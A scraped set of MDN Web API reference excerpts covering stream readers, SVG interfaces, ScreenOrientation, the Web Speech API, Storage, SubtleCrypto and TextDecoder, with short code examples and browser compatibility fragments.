...nsumer. the supplied reason argument will be given to the underlying source, which may or may not use it. readablestreambyobreader.read() returns a promise providing access to the next chunk in the stream's internal queue. readablestreambyobreader.releaselock() releases the reader's lock on the stream. examples tbd. specifications specification status comment streamsthe definition of 'readablestreambyobreader' in that specification. living standard initial definition ...
ReadableStreamDefaultController - Web APIs
constructor none. readablestreamdefaultcontroller instances are created automatically during readablestream construction. properties readablestreamdefaultcontroller.desiredsize read only returns the desired size required to fill the stream's internal queue. methods readablestreamdefaultcontroller.close() closes the associated stream. readablestreamdefaultcontroller.enqueue() enqueues a given chunk in the associated stream. ...
... living standard initial definition ...
ReadableStreamDefaultReader.ReadableStreamDefaultReader() - Web APIs
value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specific...
... living standard initial definition. ...
ReadableStreamDefaultReader.read() - Web APIs
value has been received reader.read().then(function processtext({ done, value }) { // result objects contain two properties: // done - true if the stream has already given you all its data. // value - some data. always undefined when done is true. if (done) { console.log("stream complete"); para.textcontent = result; return; } // value for fetch streams is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far. current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } example ...
... living standard initial definition. ...
ReadableStreamDefaultReader - Web APIs
a fetch request). constructor readablestreamdefaultreader() creates and returns a readablestreamdefaultreader object instance. properties readablestreamdefaultreader.closed read only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the reader's lock is released, or rejects if the stream errors. methods readablestreamdefaultreader.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer. ...
... living standard initial definition ...
SVGAElement.target - Web APIs
on. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support ...
SVGAElement - Web APIs
nterface provides access to the properties of <a> element, as well as methods to manipulate them. properties this interface also inherits properties from its parent, svggraphicselement, and implements properties from svgurireference and htmlhyperlinkelementutils. svgaelement.download see htmlanchorelement.download. svgaelement.href see htmlanchorelement.href. svgaelement.hreflang is a domstring that reflects the hreflang attribute, indicating the language of the linked resource. svgaelement.ping is a domstring that reflects the ping attribute, containing a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorel...
...wed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. svgaelement.referrerpolicy see htmlanchorelement.referrerpolicy. svgaelement.rel see htmlanchorelement.rel. svgaelement.rellist see htmlanchorelement.rellist. svgaelement.target read only it corresponds to the target attribute of the given element. svgaelement.text is a domstring being a synonym for the node.textcontent property. svgaelement.type is a domstring that reflects the type attribute, indicating the mime type of the linked resource. methods this interface has no methods but inherits methods from its parent, svggraphicselement. example in the example below, the target attribute of the <a> element is set to _blank and when the link is clicked, it logs ...
SVGAnimatedAngle - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10webview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support 3samsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedBoolean - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedEnumeration - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedInteger - Web APIs
provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedLength - Web APIs
provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedLengthList - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedNumber - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedNumberList - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedPoints - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ? ie ? opera ? safari ? webview android no support nochrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedPreserveAspectRatio - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedRect - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGAnimatedString.animVal - Web APIs
idate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support nolegend full support full support no support no support ...
SVGAnimatedString.baseVal - Web APIs
didate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android no support nofirefox android full support yesopera android full support yessafari ios full support yessamsung internet android no support nolegend full support full support no support no support ...
SVGAnimatedTransformList - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android no support nochrome android full support yesfirefox android full support 9opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support compatibility unknown compatibility unknown ...
SVGFitToViewBox - Web APIs
edge ? firefox ? ie ? ...
... chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support ...
SVGMarkerElement - Web APIs
edge ? firefox ? ie ? ...
... chrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support ...
SVGPreserveAspectRatio - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
SVGScriptElement - Web APIs
methods this interface doesn't implement any specific methods, but inh...
... methods this interface doesn't implement any specific methods, but inherits methods from its parent interface, svgelement. ...
SVGStyleElement - Web APIs
"94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent interface, svgelement and implements properties from linkstyle. svgstyleelement.type a domstring corresponding to the type attribute of the given element. svg 1.1 defined that a domexception is raised with code no_modification_allowed_err on an attempt to change the value of a read-only attribute. this restriction was removed in svg 2. svgstyleelement.media a domstring corresponding to the media attribute of the given element. svg 1.1 defined that a domexception is raised with cod...
... svg 1.1 defined that a domexception is raised with code no_modification_allowed_err on an attempt to change the value of a read-only attribute. this restriction was removed in svg 2. ...
SVGTransform - Web APIs
lf is read only. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown compatibility unknown ...
SVGTransformable - Web APIs
t provide any specific methods. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ? ie ? opera ? safari ? webview android no support nochrome android ? firefox android ? opera android ? safari ios ? samsung internet android ? legend full support full support no support no support compatibility unknown compatibility unknown ...
ScreenOrientation.angle - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.lock() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.onchange - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.type - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
ScreenOrientation.unlock() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0legend full support full support no support no support ...
SecurityPolicyViolationEvent.sample - Web APIs
this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample. ...
...this will only be populated if the resource is an inline script, event handler, or style — external resources causing a violation will not generate a sample. ...
Selection.removeAllRanges() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. see also selection, the interface it belongs to. ...
Selection.removeRange() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 58chrome android full support 58firefox android full support yesopera android full support 43safari ios no support nosamsung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
Selection.toString() - Web APIs
working draft current browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the fut...
ServiceWorkerRegistration.navigationPreload - Web APIs
ft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation...
ServiceWorkerRegistration.showNotification() - Web APIs
ion.shownotification(title, [options]); parameters title the title that must be shown within the notification options optional an object that allows configuring the notification. it can have the following properties: actions: an array of actions to display in the notification. the members of the array should be an object literal. it may contain the following values: action: a domstring identifying a user action to be displayed on the notification. title: a domstring containing action text to be shown to the user. icon: a usvstring containing the url of an icon to display with the action. appropriate responses are built using event.action within the notificationclick event. badge: a usvstring containing the url of an image to represent the notification when...
...fline, or in the future for a meeting that is about to start. vibrate: a vibration pattern to run with the display of the notification. a vibration pattern can be an array with as few as one member. the values are times in milliseconds where the even indices (0, 2, 4, etc.) indicate how long to vibrate and the odd indices indicate how long to pause. for example, [300, 100, 400] would vibrate 300ms, pause 100ms, then vibrate 400ms. return value a promise that resolves to undefined. examples navigator.serviceworker.register('sw.js'); function shownotification() { notification.requestpermission(function(result) { if (result === 'granted') { navigator.serviceworker.ready.then(function(registration) { registration.shownotification('vibration sample', { bo...
SharedWorkerGlobalScope.applicationCache - Web APIs
from inside the shared worker. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nowebview android full support yeschrome android full support yesfirefox android full support 29opera android full support yessafari ios ? ...
SharedWorkerGlobalScope.onconnect - Web APIs
. living standard browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support nowebview android full support yeschrome android full support 18firefox android full support 29opera android full support yessafari ios ? ...
Slottable: assignedSlot - Web APIs
rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...l version 59 (exclusive): this feature is behind the dom.webcomponents.enabled preference (needs to be set to true) and the dom.webcomponents.shadowdom.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.user must explicit...
SpeechGrammar.SpeechGrammar() - Web APIs
the speechgrammar constructor of the speechgrammar interface creates a new speechgrammar object instance. syntax var myspeechgrammar = new speechgrammar(); parameters none. ...
...rod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var newgrammar = new speechgrammar(); newgrammar.src = '#jsgf v1.0; grammar names; public <name> = chris | kirsty | mike;' speechrecognitionlist[1] = newgrammar; // should add the new speechgrammar object to the list specifications specification status comment web speech apithe definition of 'speechgrammar...
SpeechGrammar.weight - Web APIs
ional weight property of the speechgrammar interface sets and returns the weight of the speechgrammar object. syntax var mygrammarweight = speechgrammarinstance.weight; value a float representing the weight of the grammar, in the range 0.0–1.0. ...
... specifications specification status comment web speech apithe definition of 'weight' in that...
SpeechGrammar - Web APIs
new speechgrammar object. properties speechgrammar.src sets and returns a string containing the grammar from within in the speechgrammar object instance. speechgrammar.weight optional sets and returns the weight of the speechgrammar object. ...
... specifications specification status comment web speech apithe definition of 'speechgrammar' ...
SpeechGrammarList.item() - Web APIs
eechgrammarlist interface is a standard getter — it allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax. syntax var myfirstgrammar = speechgrammarlistinstance[0]; returns a speechgrammar object. ...
... specifications specification status comment web speech apithe definition of 'item()' in that specification. draft ...
SpeechGrammarList.length - Web APIs
nterface returns the number of speechgrammar objects contained in the speechgrammarlist. syntax var mylistlength = speechgrammarlistinstance.length; value a number indicating the number of speechgrammar objects contained in the speechgrammarlist. ...
... specifications specification status comment web speech apithe definition of 'length' in that specification. draft ...
SpeechRecognition() - Web APIs
the speechrecognition() constructor creates a new speechrecognition object instance. syntax var myrecognition = new speechrecognition(); parameters none. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'speechrecognition()' in that specification. draft ...
SpeechRecognition.abort() - Web APIs
the abort() method of the web speech api stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult. syntax myspeechrecognition.abort(); returns void. parameters none. ...
...rod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeeche...
SpeechRecognition.continuous - Web APIs
tion.continuous = true; value a boolean representing the current speechrecognition's continuous status. true means continuous, and false means not continuous (single result each time.) examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'continuous' in that specification. draft ...
SpeechRecognition.grammars - Web APIs
speechrecognition.grammars; myspeechrecognition.grammars = myspeechgrammarlist; value a speechgrammarlist containing the speechgrammar objects that represent your grammar for your app. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'grammars' in that specification. draft ...
SpeechRecognition.interimResults - Web APIs
interimresults = false; value a boolean representing the state of the current speechrecognition's interim results. true means interim results are returned, and false means they aren't. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'interimresults' in that specification. draft ...
SpeechRecognition.maxAlternatives - Web APIs
ar mymaxalternativenumber = myspeechrecognition.maxalternatives; myspeechrecognition.maxalternatives = 2; value a number representing the maximum returned alternatives for each result. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'maxalternatives' in that specification. draft ...
SpeechRecognition.start() - Web APIs
hod of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. syntax myspeechrecognition.start(); parameters none. return value void. ...
...rod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeeche...
SpeechRecognition.stop() - Web APIs
hod of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far. syntax myspeechrecognition.stop(); returns void. parameters none. ...
...rod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeeche...
SpeechRecognition - Web APIs
s (see speechrecognition.start().) when a result has been successfully recognised, the speechrecognition.onresult handler fires, we extract the color that was spoken from the event object, and then set the background color of the <html> element to that color. ...
...rod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.');...
SpeechRecognitionErrorEvent.message - Web APIs
note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
...note that the spec does not define the exact wording of these messages — this is up to the implementors to decide upon. ...
StereoPannerNode.StereoPannerNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes before samsung internet 7.0, the default values were not supported.legend full support full support no support ...
Storage - Web APIs
Web › API › Storage
the storage interface of the web storage api provides access to a particular domain's session or local storage. it allows, for example, the addition, modification, or deletion of stored data items. to manipulate, for instance, the session storage for a domain, a call to window.sessionstorage is made; whereas for local storage the call is made to window.localstorage. properties storage.length read only returns an integer representing the number of data items stored in the storage object. methods storage.key() when passed a number n, this method will return the name of the nth key in the storage. storage.getitem() when passed a key name, will return that key's value. storage.setitem() when passed a key name and value, will add that key to the storage, or update that key's ...
...hen passed a key name and value, will add that key to the storage, or update that key's value if it already exists. storage.removeitem() when passed a key name, will remove that key from the storage. storage.clear() when invoked, will empty all keys out of the storage. examples here we access a storage object by calling localstorage. we first test whether the local storage contains data items using !localstorage.getitem('bgcolor'). if it does, we run a function called setstyles() that grabs the data items using storage.getitem() and uses those values to update page styles. if it doesn't, we run another function, populatestorage(), which uses storage.setitem() to set the item values, then runs setstyles(). if(!localstorage.getitem('bgcolor')) { populatestorage(); } setstyles(); fun...
StorageManager.persist() - Web APIs
rd initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 52 full support 52 no support 48 — 52alternate name alternate name uses the non-standard name: requestpersistentfirefox android full support 55opera android full support yessafari ios ? ...
StyleSheet - Web APIs
an object implementing the stylesheet interface represents a single style sheet. css style sheets will further implement the more specialized cssstylesheet interface. properties stylesheet.disabled is a boolean representing whether the current stylesheet has been applied or not. stylesheet.href read only returns a domstring representing the location of the stylesheet. ...
...tylesheet. stylesheet.media read only returns a medialist representing the intended destination medium for style information. stylesheet.ownernode read only returns a node associating this style sheet with the current document. stylesheet.parentstylesheet read only returns a stylesheet including this one, if any; returns null if there aren't any. stylesheet.title read only returns a domstring representing the advisory title of the current style sheet. stylesheet.typeread only returns a domstring representing the style sheet language for this style sheet. specifications specification status comment css object model (cssom)the definition of 'stylesheet' in that specification. working draft no change from document object model (dom) level 2 style ...
SubtleCrypto.decrypt() - Web APIs
ll be fulfilled with the decrypted data (also known as "plaintext"). syntax const result = crypto.subtle.decrypt(algorithm, key, data); parameters algorithm is an object specifying the algorithm to be used, and any extra parameters as required. the values given for the extra parameters must match those passed into the corresponding encrypt() call. to use rsa-oaep, pass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. key is a cryptokey containing the key to be used for decryption. if using rsa-oaep, this is the privatekey property of the cryptokeypair object. data is a buffersource containing the data to be decrypted (also known as ciphertext). return...
...are encountered: invalidaccesserror raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). operationerror raised when the operation failed for an operation-specific reason (e.g. algorithm parameters of invalid sizes, or there was an error decrypting the ciphertext). supported algorithms the decrypt() method supports the same algorithms as the encrypt() method. examples note: you can try the working examples on github. rsa-oaep this code decrypts ciphertext using rsa-oaep. see the complete code on github. function decryptmessage(privatekey, ciphertext) { return window.crypto.subtle.decrypt( { name: "rsa-oaep" }, privatekey, ciphertext ); } aes-c...
SubtleCrypto.encrypt() - Web APIs
m-specific parameters, and the data to encrypt (also known as "plaintext"). it returns a promise which will be fulfilled with the encrypted data (also known as "ciphertext"). syntax const result = crypto.subtle.encrypt(algorithm, key, data); parameters algorithm is an object specifying the algorithm to be used and any extra parameters if required: to use rsa-oaep, pass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. key is a cryptokey containing the key to be used for encryption. data is a buffersource containing the data to be encrypted (also known as the plaintext). return value result is a promise that fulfills with an arraybuffer containing t...
...ountered: invalidaccesserror raised when the requested operation is not valid for the provided key (e.g. invalid encryption algorithm, or invalid key for the specified encryption algorithm). operationerror raised when the operation failed for an operation-specific reason (e.g. algorithm parameters of invalid sizes, or aes-gcm plaintext longer than 2³⁹−256 bytes). supported algorithms the web crypto api provides four algorithms that support the encrypt() and decrypt() operations. one of these algorithms — rsa-oaep — is a public-key cryptosystem. the other three encryption algorithms here are all symmetric algorithms, and they're all based on the same underlying cipher, aes (advanced encryption standard). the difference between them is the mode. the web crypto api suppor...
SubtleCrypto.exportKey() - Web APIs
rted = `-----begin private key-----\n${exportedasbase64}\n-----end private key-----`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = pemexported; } /* generate a sign/verify key pair, then set up an event listener on the "export" button. ...
... = `-----begin public key-----\n${exportedasbase64}\n-----end public key-----`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.textcontent = pemexported; } /* generate an encrypt/decrypt key pair, then set up an event listener on the "export" button. ...
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for symmetric algorithms) or key pair (for public-key algorithms). syntax const result = crypto.subtle.generatekey(algorithm, extractable, keyusages); parameters algorithm is a dictionary object defining the type of key to generate and providing extra algorithm-specific parameters. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedkeygenparams object. for ecdsa or ecdh: pass an eckeygenparams object. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is...
...gn: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a new key. derivebits: the key may be used in deriving bits. wrapkey: the key may be used to wrap a key. unwrapkey: the key may be used to unwrap a key. return value result is a promise that fulfills with a cryptokey (for symmetric algorithms) or a cryptokeypair (for public-key algorithms). exceptions the promise is rejected when the following exception is encountered: syntaxerror raised when the result is a cryptokey of type secret or private but keyusages is empty. syntaxerror raised when the result is a cryptokeypair and its privatekey.usages attribute is empty. examples note: you can try the working examples on github...
HTMLSlotElement.assignedSlot - Web APIs
Web › API › Text › assignedSlot
living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 10.1webview android full support 53chrome android full support 53firefox android full support yesopera android full support 41safari ios full support 10.3samsung internet android full support 6.0legend full support full support compatibility unknown compatibility unknown ...
Text - Web APIs
Web › API › Text
new documents have a single text node for each block of text. over time, more text nodes may be created as the document's content changes. ...
...v> a:hover text { fill: #0095dd; pointer-events: all;} constructor text() returns a text node with the parameter as its textual content. properties inherits properties from its parent, characterdata. text.iselementcontentwhitespace read only returns a boolean flag indicating whether or not the text node contains only whitespace. text.wholetext read only returns a domstring containing the text of all text nodes logically adjacent to this node, concatenated in document order. text.assignedslot read only returns the htmlslotelement object associated with the element. properties included from slotable the text interface includes the following property, defined on the slotable mixin. slotable.assignedslot read only returns a htmlslotelement representing ...
TextDecoder() - Web APIs
() constructor returns a newly created textdecoder object for the encoding specified in parameter. if the value for utflabel is unknown, or is one of the two values leading to a 'replacement' decoding algorithm ( "iso-2022-cn" or "iso-2022-cn-ext"), a domexception with the "typeerror" value is thrown. syntax decoder = new textdecoder(utflabel, options); parameters utflabeloptional is a domstring, defaulting to "utf-8", containing the label of the encoder. each label is associated with a specific encoding type: possible values of utflabel encoding "unicode-1-1-utf-8", "utf-8", "utf8" 'utf-8' "866", "cp866", "csibm866", "ibm866" 'ibm866' "csisolatin2", "iso-8859-2", "iso-ir-101", "iso8859-2", "iso88592", "iso_8859-2", ...
